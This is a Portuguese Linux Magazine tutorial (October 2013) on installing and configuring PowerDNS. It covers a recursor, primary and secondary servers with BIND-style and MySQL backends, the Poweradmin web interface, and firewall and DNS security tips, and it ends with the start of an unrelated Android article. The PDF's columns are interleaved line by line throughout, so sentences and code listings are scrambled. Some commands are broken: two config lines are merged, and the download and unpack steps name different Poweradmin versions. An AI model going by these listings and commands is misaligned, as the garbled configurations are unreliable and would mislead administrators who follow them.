Linux Magazine #107 | Outubro de 2013 57


Tutorial
Zona de poder
O PowerDNS é uma solução de servidor DNS segura, escalonável e confiável, licenciado sob a GPL.
Neste artigo, mostramos como usar arquivos de configuração do BIND para configurar o servidor PowerDNS e
como criar um servidor primário com um backend MySQL gerenciado pela interface de usuário Poweradmin.
por Joseph Guarino

O
PowerDNS [1] é uma solu- werDNS uma excelente escolha é exatamente o que parece: é
ção de DNS versátil e rica de sistema gerenciador de DNS; a fonte original e conclusiva da
em recursos. Original- é bem empacotado com carac- zona de informação DNS para
mente criado pela PowerDNS.com terísticas que impressionariam um domínio particular, onde uma
BV como um produto comercial, qualquer administrador de rede zona é apenas uma parte ou con-
mais tarde foi aberto e licencia- ou de sistemas (tabela 1). junto de espaço administrativo.
do sob a GPL. Hoje, o PowerDNS Servidores de autenticação de
floresce com contribuições tanto
comerciais [2] como comunitárias,
Componentes domínio podem ser de dois tipos:
primário e secundário.
tornando-se um notável servidor principais ➧ O servidor de nomes primário
DNS alternativo. O PowerDNS possui dois com- é às vezes chamado de servidor
Felizmente, não vivemos mais ponentes principais e distintos: principal, que é a fonte original e
nos primeiros dias da Arpanet o recursor e o servidor de auten- definitiva para todos os registros
(rede precursora da Internet atu- ticação. Outros servidores de de zona de um domínio.
al), onde tínhamos que transfe- DNS combinam esses recursos ➧ O servidor de nomes secun-
rir grandes arquivos de um host em um único, mas o PowerDNS dário, muitas vezes chamado de
para outro de nó em nó. Sua os mantêm separadamente, e o servidor escravo (slave server), é
base de código compacto e foco usuário pode configurá-lo como uma réplica idêntica usada para
na segurança, escalonabilidade qualquer outra opção. Um servi- fornecer redundância e alta dis-
e confiabilidade fazem do Po- dor de autenticação de nomes ponibilidade.

58 www.linuxmagazine.com.br
backend MySQL [4] de configu-
Servidor de autenticação DNS (hosting)
ração web com uma interface
Servidor de resposta DNS (caching) de usuário Poweradmin. Devi-
API para provisionamento de zonas e registros do a limitações de escopo e da
natureza bem documentada do
Suporte DNSSEC (como de 3.x)
projeto, o usuário será capaz de
Opções de gerenciamento baseadas na web construir as configurações con-
Armazenamento de dados DNS em texto puro (compatível com o BIND) forme a sua necessidade.
IPv4 e IPv6, UDP/TCP, 100% compatível [3]
Para esta parte do artigo, as-
sumiremos que o usuário tenha
Backend de bancos de dados MySQL, PostgreSQL, instalado o Ubuntu Server 12.04
Microsoft SQL Server, Oracle, Sybase
LTS e atualizado os patches cor-
Balanceamento de carga/algoritmos de failover retamente com os comandos:
Suporte SNMP
sudo aptitude update && aptitude
Estatísticas remotamente disponíveis para gráficos em tempo real dist-upgrade</code>.
Web server incorporado opcional
Ferramentas de debugging Instalação
Suporte a Linux, BSD, Unix e patches
Tabela 1 Recursos do PowerDNS. Seguindo em frente, desejamos
automatizar as atualizações para
O recursor do PowerDNS, por de dados do MRTG e RDD para o servidor PowerDNS. Para isso,
outro lado, simplesmente for- gráficos de rede mais elegantes usaremos o pacote unattendedupgra-
nece cache ou um uma solução ➧ Acesso local e remoto des para Ubuntu Server 12.04 LTS:
standalone de recursividade in- ➧ DNS64
sudo aptitude install unattended-
dependente para clientes que Outro componente do Po- upgrades
acessam a rede ou a Internet werDNS é o conjunto de re-
“maior” (ou seja, é a primeira li- cursos supermaster/supersla- Se escolher carregar as atua-
nha de DNS para máquinas clien- ve, que permite automatizar o lizações de segurança ao confi-
tes). Lembre- se de que ele não é provisionamento de servidores gurar o Ubuntu, este pacote já
autenticado, mas simplesmente escravos. As máquinas super- estará instalado. Configure-o ao
fornece resolução para as con- slaves podem configurar-se descomentar e alterar os itens
sultas feitas pelo cliente de rede automaticamente para a zona presentes na listagem 1 do arqui-
(a parte do lado cliente utilizada de onde recebem a notificação vo de configuração.
para realizar consultas DNS) na de um supermaster conhecido. Em seguida, edite o arquivo
sua máquina local. O recursor /etc/apt/apt.conf.d/10periodic para
PowerDNS suporta:
➧ Todas as normas relevantes
Backends verificar por atualizações uma
vez ao dia:
➧ Medidas avançadas de anti- PowerDNS APT::Periodic::Update‑Package‑Lis
spoofing É importante notar que o Po- ts "1";
➧ Reconfiguração sem tempo werDNS possui muitas opções APT::Periodic::U
de inatividade de configuração de backend para Download‑Upgradeable‑Packages "1";
APT::Periodic::AutocleanInterval
➧ Arquivos de zona BIND simples armazenar dados de zona. Ele "7";
➧ Interceptação de perguntas, pode usar arquivos de configu- APT::Periodic::Unattended‑Upgrade
recondicionamento de respostas, ração de compatibilidade BIND "1";
redirecionamento NXDOMAIN estáticos ou bancos de dados po-
(incluindo listas de bloco e me- pulares, que são muitos. Sendo Esteja ciente de que todas
didas de segurança) assim, limitaremos a cobertura as atualizações automáticas
➧ O utilitário rec_control, uma deste artigo ao seu uso como um estejam registradas em /var/
API para controle direto do re- servidor PowerDNS com confi- log/unattended‑upgrades, e assim
cursor PowerDNS e de saída guração compatível BIND e um poderá revê-las periodicamen-

Linux Magazine #107 | Outubro de 2013 59


te, junto com outros logs. Além Agora será necessário perso- os comandos primeiramente tes-
disso, o usuário também pode nalizar o arquivo de configuração tam se o servidor está ativo, em
fazer a mesma coisa com o /etc/powerdns/recursor.conf. Por seguida colhem estatísticas de
Ubuntu Landscape comercial, uma questão de brevidade, só variáveis, colhem uma variável
mais rico em recursos. Agora incluímos as variáveis de confi- específica e finalmente aban-
que a base do sistema está guração alteradas neste material donam o PowerDNS. Note que
definida, podemos finalmente (listagem 2). Com o arquivo recur- é possível consultar muitas va-
executar a primeira instalação sor.conf modificado, reiniciamos riáveis com o rec_control, que o
do PowerDNS. o pdns-recursor com o comando usuário pode utilizar para gerar
sudo service pdns‑recursor restart. gráficos RDD.
PowerDNS O Ubuntu mudou para Upstart
no lugar do SysVinit, por isso
Como mencionamos anterior-
mente, o PowerDNS suporta uma
recursor ao invés do velho método /etc/ variedade de bancos de dados
Para este artigo, assumiremos init.dstart/stop/restart, usamos o de backend para armazenar as
que o Ubuntu Server 12.04 LTS Upstart com a seguinte sintaxe: zonas de dados. Muitas vezes,
esteja instalado em uma rede o PowerDNS estará configura-
sudo service <nome_do_servico>
local, atrás de um firewall. Co- stop/start/restart do com um backend de banco
locamos o servidor por trás do de dados (MySQL, PostgreSQL,
firewall de hardware em uma Microsoft SQL Server, Oracle,
rede interna, porque fazer um Controle Sybase) e não como arquivos de
servidor de cache disponível na do recursor texto simples (BIND backend).
Internet pública é tão insensato Um programa incluído, o rec_con- Na primeira parte deste arti-
quanto fazê-lo com um proxy ou trol, permite interagir e controlar go, exploraremos o uso de uma
retransmissão de email aberto. o recursor do PowerDNS, que pode configuração compatível com o
Fazer a instalação é fácil: ser utilizado para obter estatísticas, BIND para situações em que o
verificar o status do recursor ou até usuário não deseja usar um ban-
sudo apt‑get install pdns‑recursor
mesmo desativá-lo. Neste exemplo: co de dados. Por exemplo, uma
$ sudo rec_control ping
pequena organização pode estar
$ sudo rec_control get‑all confortável com a configuração
Listagem 1: Configuração de $ sudo rec_control get variable do BIND ou não desejar a com-
atualizações automáticas $ sudo rec_control quit plexidade de manter um banco
01 nano /etc/apt/apt. de dados DNS, ou então talvez
conf.d/50unattended‑upgrades já esteja em transição do BIND
02 // Automatically upgrade Listagem 2: Personalização para o PowerDNS.
packages from these do recursor.conf
(origin:archive) pairs Unatt
ended‑Upgrade::Allowed‑Origins 01 allow‑from=192.168.1.0/24
{"${distro_id}:${distro_ 02 # The 'allow‑from' address Listagem 3: Configuração de
codename}‑security"; specifies the network address servidor de DNS primário
"${distro_id}:${distro_ space you want to service
codename}‑updates"; queries to with your PowerDNS 01 sudo nano example.com.zone
03 // Send email to this recursor. Note you can use example.com. 84600 IN SOA
address for problems or comma‑ separated individual IPs ns1.example.com.
packages upgrades or networks in CIDR notation. 02 hostmaster.example.com. (
04 // If empty or unset then 03 local‑address=192.168.1.10 03 2013062901 ; serial 21600
no email is sent, make sure 04 #'local‑address' specifies ; refresh (6 hours) 900 ;
that you the address or addresses on retry (15 minutes) 604800 ;
05 // have a working mail which the recursor is to expire (1 week) 3600 ;
setup on your system. A listen for queries. minimum (1 hour) )
package that provides 05 # version‑string=Wait, 04 NS ns1.example.com
06 // 'mailx' must be this ain't no host file 05 NS ns2.example.com
installed. E.g. "user@ 06 # Give out bogus version 06 MX 10 mail.example.com
example.com" information when queried with 07 ns1 A 192.168.1.10
07 Unattended‑Upgrade::Mail 'dig @ns1.example.com ‑c CH 08 ns2 A 192.168.1.11
"username@yourdomain.com"; ‑t txt version.bind'. I'd 09 mail A 192.168.1.13
# Load kernel module rather add some mystery. =) 10 www A 192.168.1.14

60 www.linuxmagazine.com.br
sudo apt‑get install pdns‑server Quando configurado correta-
Listagem 4: mente, execute o comando sudo
bindbackend.conf O exemplo de configuração do service pdns restart para reiniciar
servidor DNS primário PowerDNS o serviço PowerDNS.
01 sudo nano bindbackend.conf
02 options { presente em /etc/powerdns é mostra-
03 directory "/etc/powerdns"; do na listagem 3 (para simplificar, o Servidor
04 }; exemplo omite a zona de DNS re-
05
06
zone "example.com" {
type master;
versa, mas recomendamos que o secundário
07 file "example.com.zone"; usuário a crie. Ao contrário da zona Para obter a configuração, primeiro
08 }; de encaminhamento, que mapeia o precisamos instalar o PowerDNS
nome do host para o endereço IP, a no servidor secundário ou escravo
Seja qual for a razão, o Po- zona reversa mapeia o oposto – o com o comando sudo apt‑get install
werDNS possui uma maneira fácil endereço IP para o nome do host). pdns‑server. Assim como aconteceu
de utilizar os arquivos de configu- Muitos serviços de rede e apli- com o servidor principal, criamos
ração da zona mestre do BIND para cativos requerem mapeamento uma versão reduzida do arquivo
configurar o servidor PowerDNS. de zona reversa, por isso é uma named.conf (o arquivo de configu-
Na segunda parte deste artigo, boa ideia adicioná-la. Crie também ração do BIND antigo), em /etc/
cobriremos o uso do PowerDNS uma versão reduzida do arquivo powerdns/bindbackend.conf, contendo
com um backend MySQL. named.conf (arquivo de configura- apenas o essencial:
ção do BIND), em /etc/powerdns
PowerDNS e BIND contendo o essencial (listagem 4).
sudo nano bindbackend.conf
options {
Nesta configuração, criaremos dois directory "/etc/powerdns";
};
servidores (que também podem ser
máquinas virtuais ou instâncias de
Configuração zone "example.com" {
type slave;
nuvem) para os servidores primário de arquivo file "example.com.zone";
masters { 192.168.1.10; };
e secundário na DMZ (zona desmi- Os serviços gerais do PowerDNS };
litarizada) para os serviços de aces- são regidos por um único arquivo
so público. Para começar, o usuário de configuração, /etc/powerdns/ Note que, como estamos exe-
precisa instalar o PowerDNS em pdns.conf, ao qual é necessário cutando com o setgid/setuid do
seu servidor mestre ou primário: adicionar as linhas da listagem 5. usuário pdns no servidor escravo,

Listagem 5: Inclusões no arquivo pdns.conf


01 allow‑axfr‑ips=192.168.1.11
02 # IP Address allowed to perform AXFR.
03 #
04 bind‑check‑interval=300
05 # Tell server how often to check for zone changes.
06 #
07 launch=bindbind‑config=/etc/powerdns/bindbackend.conf
08 # Tell PowerDNS to launch with BIND back end using the specified configuration file.
09 #
10 local‑address=192.168.1.10
11 # Specifies the local IP on which PowerDNS listens.
12 #
13 master=yes
14 # Tells PowerDNS to run this as the primary server. This primary server will send out a special notify
packet to notify the secondary or slave of updates.
15 #
16 setgid=pdns
17 # Sets Group ID to pdns for improved security
18 #
19 setuid=pdns
20 # Sets user id to pdns for improved security
21 #
22 version‑string=anonymous
23 # No server version is divulged via dig query (e.g.,dig @ns1.example.com ‑c CH ‑t txt version.bind). I'd
rather make script kiddies work harder. =)

Linux Magazine #107 | Outubro de 2013 61


Listagem 6: Listagem 7: Criação de um servidor DNS mestre
Configuração de servidor
01 #
de DNS secundário 02 # MySQL back end configuration
03 #
01 launch=bind
04 launch=gmysql
02 bind‑config=/etc/powerdns/
05 # Tells our PowerDNS server we are using MySQL backend
bindbackend.conf
06 config‑dir=/etc/powerdns/pdns.d/
03 # Tell PowerDNS to launch
07 # Specifies our configuration file
with BIND back end using the
08 gmysql‑host=127.0.0.1
specified configuration file
09 # Configures the IP address that PowerDNS will listen on
04 #
10 gmysql‑user=puser
05 bind‑check‑interval=300
11 # Our configured PowerDNS username
06 # Tell server how often to
12 gmysql‑password=pleasepick astrongpassword
check for zone changes
13 # This is our MySQL password. Please, for the love of all that
07 #
is sacred, stop using weak passwords!
08 local‑address=192.168.1.11
14 gmysql‑dbname=pdns
09 # Specifies the local IP
15 # This details which MySQL database PowerDNS should use.
on which PowerDNS listens
16 local‑address=192.168.1.10
10 #
17 # Specifies the local IP for PowerDNS to listen on.
11 setgid=pdns
18 master=yes
12 # Sets Group ID to pdns
19 # This tells PowerDNS to run this as the primary server. This
for improved security
primary server will send out a special notify packet to notify the
13 #
secondary or slave of updates.
14 setuid=pdns
20 setgid=pdns
15 # Sets user id to pdns for
21 # Sets Group ID to this one for improved security
improved security
22 setuid=pdns
16 #
23 # Sets user id to this for improved security
17 slave=yes
24 version‑string=Hostfile 0.1 Alpha
18 # Variable identifies this
25 # Bogus server version is divulged via dig quiry, such as
server as a secondary or
dig @ns1.example.com ‑c CH ‑t txt version.bind. There is no
slave server
security through obscurity, but there is certainly absurdity... =P
19 #
20 version‑string=anonymous
21 # No server version is
divulged via a dig inquiry Depois de colocar os servido- siga em frente e experimente
(e.g., dig @ns1.example.com res em funcionamento, podemos o domínio recém-criado. Assim
‑c CH ‑t txt version.bind).
Oh, the mystery! consultá-los para verificar os re- como acontece com o recursor,
gistros e verificar o arquivo de log o PowerDNS contempla ainda
em /var/log/syslog para assegurar mais ferramentas e utilitários,
precisamos mudar de proprietá- que eles estejam realmente se sendo que o pdns_control está
rio e de grupo para esse usuário comunicando (quadro 1). Agora, entre eles (tabela 2).
com o comando:
sudo chown ‑R pdns:pdns /etc/ Ação Comando
powerdns Teste para saber se o
sudo pdns_control ping
Para configurar um servi- servidor está ativo
dor DNS secundário com um Limpar as entradas de cache sudo pdns_control purge
backend BIND (arquivos de Informar ao backend que
configuração de texto compa- os conteúdos dos domínios sudo pdns_control reload
tíveis com BIND), precisamos foram alterados
adicionar as linhas da listagem
6 ao arquivo pdns.conf (localiza- Exibir estatísticas de uso sudo pdns_control status
do no diretório /etc/powerdns). Exibir uma estatística específica
sudo pdns_control <variable>
Finalmente, desejamos fazer (use * para detalhes)
o HUP ou reiniciar o serviço Reiniciar uma instância PowerDNS sudo pdns_control cycle
PowerDNS com sudo service
pdns restart. Tabela 2 Como usar o pdns_control.

62 www.linuxmagazine.com.br
Quadro 1: Como testar o servidor PowerDNS Listagem 8: Criação
Tão logo o servidor esteja em execução, devemos testá-lo para ter cer- de banco de dados
teza de que está funcionando:
01 use pdns;
dig +norecurs @127.0.0.1 ns1.example.com A 02 create table domains (
03 id INT auto_increment,
; <<>> DiG 9.9.2‑P1 <<>> +norecurs @127.0.0.1 ns1.example.com A 04 name VARCHAR(255) NOT NULL,
; (1 server found) 05 master VARCHAR(128)
;; global options: +cmd DEFAULT NULL,
;; Got answer: 06 last_check INT DEFAULT NULL,
;; ‑>>HEADER<<‑ opcode: QUERY, status: NOERROR, id: 62937 07 type VARCHAR(6) NOT NULL,
;; flags: qr aa; QUERY: 1, ANSWER: 08 notified_serial INT
1, AUTHORITY: 0, ADDITIONAL: 0 DEFAULT NULL,
09 account VARCHAR(40)
;; QUESTION SECTION: DEFAULT NULL,
;ns1.example.com. IN A 10 primary key (id)
11 ) Engine=InnoDB;
;; ANSWER SECTION:
12 CREATE UNIQUE INDEX name_
ns1.example.com. 86400 IN A192.168.1.10 index ON domains(name);
13 CREATE TABLE records (
Se o servidor não estiver respondendo às consultas, podemos começar 14 id INT auto_increment,
a solucionar o problema verificando se o PowerDNS está sendo execu- 15 domain_id INT DEFAULT NULL,
tado com o comando ps e checando os logs de sistema (syslog). Além 16 name VARCHAR(255) DEFAULT NULL,
disso, o pacote de recursos PowerDNS inclui o aplicativo pdns_control, 17 type VARCHAR(10) DEFAULT NULL,
que permite ver o status do servidor, reiniciar e, geralmente, controlar 18 content VARCHAR(64000)
o PowerDNS (tabela 2). DEFAULT NULL,
19 ttl INT DEFAULT NULL,
20 prio INT DEFAULT NULL,
21 change_date INT DEFAULT NULL,
Servidor de construiu seu servidor e fez o
patch como descrito acima, an-
22 primary key(id)
autenticação tes de continuar com o restante
23 ) Engine=InnoDB;
24 CREATE INDEX nametype_
Como afirmado anteriormente, o deste exercício. index ON records(name,type);
PowerDNS suporta uma impres- 25 CREATE INDEX domain_id ON
sionante variedade de bancos de Criação de records(domain_id);
26 create table supermasters (
dados para armazenar as zonas
de dados; no entanto, limitare-
um servidor 27 ip VARCHAR(64) NOT NULL,
28 nameserver VARCHAR(255)
mos nossa cobertura ao restante DNS mestre NOT NULL,
deste artigo para seu uso com Para obter a configuração, o 29 account VARCHAR(40)
DEFAULT NULL
um servidor principal com um usuário precisa instalar o Po-
30 ) Engine=InnoDB;
backend MySQL com interface werDNS no servidor primário ou 31 quit; Joseph Guarino.
de usuário web Poweradmin. mestre, modificando as linhas
O ambiente de exemplo será mostradas na listagem 7 em /etc/
sudo service pdns restart
construído sobre o Ubuntu Ser- powerdns/pdns.d/pdns.local.gmysql.
ver 12.04 LTS Precise Pangolin, e Finalmente, reinicie o serviço Com uma configuração Po-
estamos supondo que o usuário PowerDNS com: werDNS base e servidores funcio-
nando, podemos instalar os pacotes
e configurar o backend MySQL.

Banco de
dados MySQL
Para começar, instale o MySQL
com o comando:

primary:~$sudo apt‑get install


Figura 1 Selecione o idioma do sistema. mysql‑server mysql‑common

Linux Magazine #107 | Outubro de 2013 63


ção, incentiva a sintaxe apropriada
e diminui erros sintáticos.
O Poweradmin é uma uma in-
terface amigável, fácil de usar e
de código aberto que suporta os
principais recursos do PowerDNS.
Com este aplicativo web rico em
recursos, o usuário poderá ge-
renciar o ambiente de DNS sem
maiores problemas. No entan-
to, antes de começar, é preciso
Figura 2 Insira suas informações MySQL. instalá-lo. Como a maioria dos
aplicativos, ele possui alguns
Como parte da instalação, o por uma questão de brevidade, pré-requisitos:
usuário será solicitado a definir não incluiremos aqui outros de- ➧ MySQL ou PostgreSQL
as senhas de root do MySQL. talhes sobre o assunto. Como ➧ Apache
Procure escolher uma senha qualquer outro aplicativo, ele ➧ PHP
forte. O servidor a ser confi- precisa de uma atenção extra ➧ Módulos PHP: session, gettext
gurado precisa de um pouco para melhorar a segurança de e mcrypt
de ajuste antes de receber os seu estado instalado por padrão. ➧ PEAR, PEAR::MDB2
bancos de dados e usuários, ➧ GNU gettext
então edite o aquivo /etc/mysql/ Poweradmin Na falta de um pacote Powera-
my.cnf em seu editor de texto Neste ponto, podemos geren- dmin específico, o usuário precisa
favorito. Neste caso, mude o ciar a configuração backend do verificar esses pré-requisitos e,
endereço para o qual o MySQL PowerDNS de muitas maneiras. em seguida, instalar seus binários:
escuta em seu servidor local: Ao contrário da configuração de
arquivo baseada em texto sim- sudo apt‑get install apache2
Bind‑address = 127.0.0.1 libapache2‑mod‑php5 php5
ples (o backend compatível com php5‑common php5‑curl php5‑dev
Agora podemos nos conectar o BIND mencionado na primei- php5‑gd php‑pear php5‑imap
ao recém-criado servidor MySQL ra parte deste artigo), teríamos php5‑mcrypt php5‑common php5‑ming
php5‑mysql php5‑xmlrpc gettext
e começar sua configuração: que usar algumas ferramentas sudo pear install MDB2
de gerenciamento de banco de sudo pear install MDB2_Driver_mysql
primary:~$mysql ‑h localhost ‑u
root ‑p dados, criar scripts próprios ou
usar uma interface de administra- Desta forma será possível fi-
Em seguida, crie e configure ção web. Geralmente, se o usuá- nalmente instalar o aplicativo
um banco de dados MySQL com rio não planeja criar o script ou Poweradmin:
o comando create database pdns; o código de sua própria solução,
cd /tmp
e então adicione um usuário que optar por uma interface gráfica wget https://github.com/downloads/
terá acesso ao banco e defina de usuário é uma boa escolha. A Poweradmin/Poweradmin/
suas permissões: interface gráfica oferece muitos Poweradmin‑2.1.6.tgz
tar xvfz Poweradmin‑2.1.4.tgz
GRANT ALL ON pdns.* TO benefícios: facilita a administra-
'puser'@'localhost' IDENTIFIED BY
'pleasepickastrongpassword';
GRANT ALL ON pdns.* TO
'puser'@'localhost.localdomain'
IDENTIFIED BY
'pleasepickastrongpassword';
FLUSH PRIVILEGES;

Agora podemos criar o banco


de dados necessário para a insta-
lação do PowerDNS (listagem 8).
Claro, podemos fazer muito mais
para proteger o MySQL [5] mas, Figura 3 Insira suas informações de domínio DNS básico.

64 www.linuxmagazine.com.br
Figura 4 Instruções sobre como conceder direitos ao Poweradmin.

mv Poweradmin‑2.1.4 /var/www/ Isso irá remover o diretório


Poweradmin de instalação. Assim como ou-
touch /var/www/Poweradmin/inc/
tros aplicativos web baseados
config.inc.php
chown ‑R www‑data:www‑data /var/ em PHP, o Poweradmin possui Figura 5 Interface web de usuário
www/Poweradmin/ um arquivo de configuração de gerenciamento Poweradmin.
principal que pode ser editado
Observe que destacamos ape- e personalizado no arquivo /var/ e, em seguida, Edit an existing
nas os passos que podem exigir www/Poweradmin/inc/config.inc.php. example.com zone (Editar uma
alguma personalização do usuá- Caso queira personalizar ainda zona example.com existente),
rio. Medidas óbvias (exibidas mais o arquivo de configuração, como ilustrado na figura 8.
nas figuras 1-4) foram explicita- poderá editar este ou explorar Como podemos ver, a interfa-
mente excluídas. Uma vez que o restante dos subdiretórios ce gráfica é muito simples e irá
o usuário tenha configurado o deste aplicativo. guiá-lo através do processo de
Poweradmin, poderá acessar o criação dos registros de DNS bási-
endereço http://localhost/Powe-
radmin/install/index.php.
Login no cos. Uma vez feito isso, volte para
o mesmo domínio e adicione os
Para que o Poweradmin atua- Poweradmin registros adicionais que desejar.
lize os dados nas tabelas, o usuá- Para acessar o servidor Powe-
rio precisa fornecer ao programa radmin, acesse http://localhost/ Redundância
alguns direitos limitados. Para Poweradmin/index.php. Uma vez lá, Redundância é uma obrigação.
fazer isso, crie um novo usuário adicione a zona mestre clican- Como qualquer serviço tão vital
e defina os direitos de selecio- do em Add master zone in the quanto o DNS, devemos criar
nar, apagar, inserir e atualizar initial login screen (Adicionar redundância na infraestrutura
registros no banco de dados zona mestre na tela de login – o que significa, pelo menos,
PowerDNS. Depois de adicio- inicial) (figura 5), as informa- dois ou mais servidores, se
nar o novo usuário, volte para ções necessárias para a base possível – ou então o usuário
o MySQL e execute: de domínio, e clique em Add precisará de muito mais do que
zone (Adicionar zona) (figura 6). duas aspirinas para lidar com
mysql ‑h localhost ‑u root ‑p A partir daqui, clique em List as dores de cabeça causadas
use pdns;
zones (Listar zonas) ( figura 7) pelo tempo de inatividade. No
GRANT SELECT, INSERT, UPDATE,
DELETE ON pdns.* TO
'padmin'@'localhost' IDENTIFIED
BY 'pleasepickastrongpassword';
quit;

Uma vez concluída a confi-


guração inicial, o usuário deve
fazer mais uma coisa por ques-
tões de segurança:
rm ‑fr /var/www/Poweradmin/install/ Figura 6 Inclusão de uma zona mestre.

Linux Magazine #107 | Outubro de 2013 65


prática. Acionar o iptables no
servidor de de DNS irá, no mí-
nimo, incluir camadas adicio-
nais para impedir o acesso de
pessoas com intenções malicio-
sas. Além disso, pensar sobre
regras de entrada e saída com
serviços de rede é sempre uma
boa disciplina. Uma opção no
Ubuntu é usar a ferramenta
“firewall descomplicado”, que
ajuda a criar regras iptables de
Figura 7 Listagem de zonas existentes.
uma forma bastante simples.
Para o nosso exemplo, criamos
caso do PowerDNS, isso signifi- roteador principal morrer ou a as seguintes regras de firewall
ca dois ou três servidores DNS. rede sofrer um ataque de ne- sem complicações:
Se estiver usando um backend gação de serviço distribuído. sudo ufw enable
de banco de dados, o usuário Divida os servidores em várias primary:~$ufw logging on
não deve possuir um backend infraestruturas de rede/servi- primary:~$ufw default deny
primary:~$ufw allow 22/tcp
único para toda a sua infraes- dor, devidamente redundantes primary:~$ufw allow 80/tcp
trutura; ao invés disso, deve e tolerantes a falhas. primary:~$ufw allow 53/udp
combiná-los com um backend ➧ Servidores de divisão atra- primary:~$ufw allow 53/tcp
por servidor PowerDNS. vés das redes. Colocar todos os primary:~$ufw status
seus servidores de DNS em um
DNS e segurança único espaço de rede pode ser Claro, se o usuário estiver mais
DNS é um serviço comumente altamente problemático se esse confortável fazendo isso com o
explorado, o que significa que o roteador quebrar ou a rede so- iptables, siga em frente. Regras
usuário não deve ter pressa nas frer um ataque distribuído de mais rigorosas podem estar em
fases de engenharia necessárias negação de serviço. Divida seus ordem, dependendo do ambien-
para implementá-lo corretamen- servidores em vários, devida- te e objetivos.
te. Infelizmente, o DNS possui mente redundantes e toleran- ➧ Explorar e implementar
numerosos vetores de ataque. tes a falhas de infraestrutura TSIG/TKEY e DNSSEC. Use TSIG/
Os riscos para um serviço tão de rede/servidor. TKEY [6] [7] para zonas de trans-
crítico como o DNS para o fun- ➧ Configurar firewalls. Em- ferência seguras e implemente
cionamento da rede são mui- bora os firewalls não sejam DNSSEC [8] para ajudar a pro-
tos, mas o usuário pode tomar perfeitos, ainda são uma boa teger o servidor contra enve-
algumas medidas simples para
melhorar isso:
➧ Patch, patch, patch. Por
mais bobo que pareça, algumas
pessoas não acreditam ou não
investem em automatização de
gerenciamento de patches; no
entanto, fazer isso ajudará a
resolver muitas questões im-
portantes.
➧ Divisão de servidores atra-
vés das redes. Colocar todos
os servidores de DNS em um
único espaço de rede pode ser
altamente problemático se o Figura 8 Edição de uma zona existente.

66 www.linuxmagazine.com.br
nenamento de cache. Uma do- com o PowerDNS. O suporte para versões antigas que ainda se
cumentação abundante sobre corporativo e uma comunida- aplicam a novas versões, tornan-
esses recursos está disponível de de alta qualidade tornam o do mais claros os tickets incertos
[9]. Quando o desenvolvedor projeto ótimo para usuários de e a escrita de patches
colocar a segurança como pri- qualquer faixa – corporativos ou ➧ Definição de importância e
meiro passo de qualquer proje- não. Projetos de código aberto implementação dos muitos itens
to, o conjunto de problemas é prosperam quando os indivídu- da “to-do list” do projeto [15]
reduzido drasticamente. os se envolvem, e o PowerDNS Se o usuário for engajado,
contempla uma série de opor- essas tarefas oferecerão uma
tunidades, incluindo: ótima maneira de se envolver
Servidores ➧ Ressurgimento do suporte em um projeto de software li-
secundários ao Mac OS X
➧ Resolução de problemas de
vre e aberto (FOSS). As oportu-
nidades de aprendizagem são
e terciários pacote para Solaris abundantes, e as contribuições
Agora que um servidor primário ➧ Teste de backends melhorariam a infraestrutura
está instalado e funcionando, ➧ Testes de regressão [14] crítica da Internet atual. Espe-
teremos mais trabalho a fa- ➧ Coleta e documentação de ramos que este pequeno arti-
zer para criar uma verdadeira diversos frontends web go aguce o apetite de explorar
redundância. Como dissemos ➧ Gerenciamento de tickets: este software DNS poderoso,
antes, possuir qualquer pon- verificação de bugs reportados rico em recursos e flexível. n
to de falha (SPOF) é sempre
imprudente. Para esse fim,
temos várias maneiras de criar Gostou do artigo?
um servidor secundário. Devi- Queremos ouvir sua opinião. Fale conosco em:
cartas@linuxmagazine.com.br
do a limitações de escopo e à
Este artigo no nosso site:
natureza bem documentada do
http://lnm.com.br/article/8981
projeto [10] [11], o usuário terá
condições de adicionar servi-
dores secundário e terciários
conforme sua necessidade. Mais informações
[1] PowerDNS: http://www.powerdns.com/
[2] Suporte PowerDNS: https://www.powerdns.com/support.html
PowerDNS [3] PowerDNS compliance: https://www.powerdns.com/compliance.html
e opções [4] Poweradmin: https://www.poweradmin.org/

de suporte [5] Segurança MySQL: http://dev.mysql.com/


doc/refman/5.6/en/security.html
Como a maioria dos projetos de
código aberto, o suporte está [6] TSIG: http://tools.ietf.org/html/rfc2845

disponível através de vários ca- [7] TKEY: http://tools.ietf.org/html/rfc2930


minhos. O PowerDNS é apoia- [8] DNSSEC: http://www.dnssec.net/
do pela comunidade através [9] Documentação do Poweradmin: https://www.po-
de listas de discussão, fóruns, weradmin.org/trac/wiki/Documentation
IRC [12], e de um ecossistema [10] Manual do PowerDNS: http://doc.powerdns.com/html/index.html
de parceiros e organizações de [11] Documentação do PowerDNS: https://www.
serviços profissionais e de apoio powerdns.com/documentation.html
comercial, mesmo direto da Po-
[12] PowerDNS IRC: #powerdns on OFTC (irc.oftc.net)
werDNS BV [13]. Muitas vezes,
[13] PowerDNS BV: https://www.powerdns.com/support.html
o apoio comercial ajuda, pelo
menos sob a forma de recur- [14] Testes de regressão: http://wiki.powerdns.
com/trac/wiki/WritingRegressionTests
sos e suporte da comunidade,
em um projeto de código aber- [15] PowerDNS to-do list: http://wiki.powerdns.com/trac/wiki/TodoList
to; este é certamente o caso

Linux Magazine #107 | Outubro de 2013 67


Android
Máquina de produção
Transforme seu dispositivo Android em uma máquina de produtividade
enxuta com aplicativos de código aberto.
por Dmitri Popov

H
oje em dia, até mesmo um das teclas de seta, Tab, Esc, e ou- tem à disposição vários gerencia-
dispositivo Android de mé- tros recursos em sua computação dores em código aberto para es-
dio desempenho possui po- diária. Melhor ainda, o Hacker’s colher, incluindo o OpenExplorer
der de processamento suficiente Keyboard apresenta a tecla Fn, e o Ghost Commander. O OpenEx-
para lidar com a maioria das tarefas que evoca um layout separado, plorer [2] ostenta uma interface
de produtividade – do gerencia- contendo um teclado numérico elegante que funciona bem em
mento de emails à elaboração de e um teclado de função. praticamente qualquer tela, e
artigos e códigos. Naturalmente, O Hacker’s Keyboard também o gerenciador de arquivos vem
este processo requer que o usuá- pode controlar vários layouts de com uma série de recursos úteis
rio possua os aplicativos apropria- teclado, e o usuário pode facil- (figura 2). O OpenExplorer pode
dos instalados em seu dispositivo mente alternar entre eles usando a lidar com servidores remotos e o
Android, mas a abundância da alta tecla de espaço. O teclado suporta gerenciador de arquivos suporta
qualidade de aplicativos de código o recurso de completar palavras e o popular FTP, SFTP e protocolos
aberto também estão à disposi- dicionários deste tipo estão dis- Samba (figura 3). Melhor ainda, o
ção para este fim. Neste artigo, poníveis para vários idiomas (o OpenExplorer também suporta
examinaremos vários excelentes dicionário de inglês vem incluso serviços de armazenamento em
